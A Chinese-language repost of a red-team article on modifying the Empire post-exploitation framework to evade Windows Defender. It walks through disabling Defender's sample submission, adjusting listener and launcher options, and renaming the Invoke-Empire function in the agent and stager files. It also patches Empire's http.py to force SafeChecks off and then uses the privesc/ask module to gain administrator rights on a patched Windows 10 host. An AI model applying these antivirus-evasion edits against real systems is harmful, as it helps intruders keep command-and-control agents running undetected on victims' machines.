您好,登錄后才能下訂單哦!
這篇文章主要介紹如何修改Empire繞過Windows Defender,文中介紹的非常詳細,具有一定的參考價值,感興趣的小伙伴們一定要看完!
防病毒規避技術一直以來是我最感興趣的研究方向之一。多年前,當我開始研究計算機科學時,我向我的顧問提出了一個主題,即通過映射二進制文件中的執行流,來改進防病毒引擎以檢測多態病毒。但隨著研究的深入,這個設想最終還是被否決了,所以我選擇了另一個研究課題。
如果你的工作是滲透測試或在紅隊中,那么防病毒繞過技術將是你必備的一項技能。但不得不說這也是一個令人沮喪的領域 - 雖說“基于簽名的”防病毒軟件在阻止威脅方面并沒有太大的作用,但有時卻會給我們帶來極大的麻煩。
我們知道想要逃避防病毒軟件最好的辦法就是“編寫自己的工具”。例如編寫一個自己的簡單反向shell,或是如果你有足夠的資金預算和時間,那么也可以嘗試從頭開發一個完善的C2架構。然而,大多數人還是依賴于安全社區中其他人開發的開源(和商業)工具。
說到這,我不得不提Empire。Empire是一款后滲透利用代理工具,其中包含了各種的攻擊性工具。這是一款非常強大的工具,如果在執行的過程中沒有被防病毒程序標記,那么它完全可以作為攻擊性操作的一部分使用。有一段時間,Empire對于逃避像Windows Defender這樣的程序非常有用。但現在已經不行了,如果你創建一個通用的http listener agent payload并在內存中執行,甚至還沒有觸及磁盤,你可能就會看到如下所示內容。
可以看到,Windows Defender檢測并阻止了我們的行為。
但別忘了Empire是一款免費且開源的工具,我們可以通過修改一些關鍵區域來嘗試繞過客戶端防病毒軟件。
在我們的測試開始之前,我們先來關閉Windows Defender中的“Cloud-delivered Protection”,尤其是“自動樣本提交(Automatic sample submission)”。我們不希望我們的任何測試接入互聯網,并進入Windows Defender的分布式簽名當中。另外,請保持“實時保護(Real-time protection)”,以便我們測試執行的情況。
記住!無論你做什么,都不要將病毒上傳到VIRUS TOTAL!否則你的一切努力都將白費!正如下面你將學到的,即使初始payload通過防病毒檢查,Windows Defender也可以檢測到Empire。
現在我們的測試實驗環境已準備就緒,是時候開始使用Empire了。
在前幾次繞過Windows Defender的嘗試中,我設置了Empire launcher payload內的misc選項,但最終都以失敗告終。
接著,我嘗試通過混淆的辦法來進行繞過。我嘗試使用powershell混淆工具來運行有效載荷。通過Unicorn運行它...?失敗。通過Veil Framework運行它...?失敗。通過Empire自己的原生Invoke-Obfuscation運行它...?還是失敗。
但我注意到一點,通過使用混淆工具我能夠將payload寫入磁盤,基本上是繞過了防病毒簽名,但在執行時會被檢測并阻止。
Empire生成的初始payload即所謂的“stager”,確切地說應該是stage0 payload。stager是一些代碼,用于遠程下載和執行另一個stager或實際payload。在我們的示例中,我們將使用multi/launcher powershell stager來獲取http listener。
測試stage0 payload實際上非常簡單。生成payload,將其寫入文件,然后傳輸到Windows機器。如果它在命中磁盤時觸發防病毒警告,則表示你還有許多其它工作需要做。如果它成功傳送并正常執行,則表示你獲取到了一個可用的stager。
一個非常重要的說明!在我的測試期間我遇到了一個問題,就是在反復進行payload測試后,Windows Defender很可能會將所有的powershell文件標記為病毒,甚至是空文件!如果發生這種情況,請重啟VM或計算機。我的看法是,Windows Defender可能知道我正在傳輸文件的主機是惡意的,因此無論文件是什么,PowerShell都會被禁止執行。
你可能會感到震驚,生成繞過Windows Defender的multi/launcher stager,只需使用Empire中顯示的選項即可實現。但我不會告訴你我所使用的確切選項,因為我知道有人會立即使用它們,并忽略我的警告將它們上傳到Virus Total。但我會向你們展示我建議修改的選項。
建議修改的 Empire http listener 選項
選項 | 描述 | 默認 |
---|---|---|
默認配置文件 | Empire將在不同時間調用的三個URL以及User-Agent字符串。 | /admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko |
服務器版本 | Web服務器版本標識符 | Microsoft-IIS/7.5 |
主機 | 你的主機(或IP)和端口號。 | |
端口 | 應與指定的主機端口相同 | |
用戶代理 | Empire為模擬真實的Web瀏覽器流量而發送的用戶代理。 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36 |
StagerURI | 向Stager提供的URI。必須包括/download才能工作,而不需要進行額外的修改。 | |
證書路徑 | 設置Empire時默認的自簽名證書位于./Empire/Data。根據環境的復雜程度,自簽名證書可能不起作用。Windows Defender不介意自簽名證書。 | |
默認Jitter | 向Empire服務器發送信標呼叫時的隨機延遲。 | 0.0 |
Launcher | 用于執行stager的命令。 | powershell -noP -sta -w 1 -enc |
建議修改的 Empire multi/launcher 選項
選項 | 描述 | 默認 |
---|---|---|
Listener | 此項為必設項 | |
UserAgent | 用戶代理字符串 | |
SafeChecks | 嘗試檢測launcher是否在沙箱中運行。 | True |
混淆 | 混淆自動生成的launcher代碼。 | False |
混淆命令 | 使用的混淆命令。 | Token\All\1,Launcher\STDIN++\12467 |
這里給大家一個提示。將SafeChecks設置為false。SafeChecks試圖確定stager是否在防病毒沙箱中運行。此外,這也會減少大量生成的代碼,但由于我們被防病毒軟件檢測到了,因此顯然無法正常工作。
有了這樣一個被我們“武器化”的payload,是不是意味著我們就一定能夠運行Empire?如下所示payload將執行,并且你會看到一個初始連接Sending stage 1!接著便出現了問題。
在測試期間,我決定關閉防病毒保護,在Windows主機上啟動Empire,然后重啟防病毒軟件。令我興奮的是,我的Empire beacon并沒有死!只要我們能讓Empire啟動就行。但為什么無法啟動呢?
深入挖掘Empire代碼庫會生成stage1代碼。這段代碼建立了加密安全環境以躲避檢測,但它本身并沒有以任何方式進行編碼。經過一些測試和錯誤之后,編輯了文件和某些部分,我確定應該問題應該出在invokeEmpire函數名。正如Black Hills Information Security文章中所建議的那樣,將函數名更改為invoke randomstringhere是阻止檢測的必要手段。盡管我們要做的只是修改invokeEmpire函數名,但如果你能進一步的更改stage1代碼,那無疑將是巨大的加分項。
Edit: ./Empire/data/agent/stagers/http.ps1:
Invoke-Empire -Servers @(($s -split "/")[0..2] -join "/") -StagingKey $SK -SessionKey $key -SessionID $ID -WorkingHours "WORKING_HOURS_REPLACE" -KillDate "REPLACE_KILLDATE" -ProxySettings $Script:Proxy;
Edit: ./Empire/data/agent/agent.ps1
function Invoke-Empire {
讓我們再次嘗試運行我們的Empire stager。
可以看到我們成功繞過了Windows Defender!
由于是在完全修補的Win10主機上運行測試,因此提權的方法并不多。所以,讓我們嘗試一下powershell/privesc/ask模塊,它會彈出一個對話框,詢問用戶是否要以管理員身份運行powershell。漏洞利用成功彈出了對話框,這是一個好兆頭!我點擊是!然而什么也沒發生。
我承認這讓我感到有些困惑。如果我的stagers在初始利用時工作,那么為什么不能提權呢?經過一些調試之后,我能夠捕獲使用privesc/ask模塊發送的stager。雖然它包含了我在multi/launcher配置中設置的一些修改,但有一個明顯的區別。它還包含了我們之前設置為False的SafeChecks代碼!
我不確定這里包含的SafeChecks,是否是由于Empire中存在的bug導致的。但是,SafeChecks代碼當前存在問題,似乎已被該Empire bug所證實。只需將選項設置始終保持為 False,就可以解決我們的問題。
Edit: ./Empire/lib/listeners/http.py:
def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="", userAgent='default', proxy='default', proxyCreds='default', stagerRetries='0', language=None, safeChecks='', listenerName=None): """ Generate a basic launcher for the specified listener. """ # Add this line to override SafeChecks safeChecks='False'
運行`python -m compileall`并重啟Empire。然后啟動powershell/privesc/ask。
以上是“如何修改Empire繞過Windows Defender”這篇文章的所有內容,感謝各位的閱讀!希望分享的內容對大家有幫助,更多相關知識,歡迎關注億速云行業資訊頻道!
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。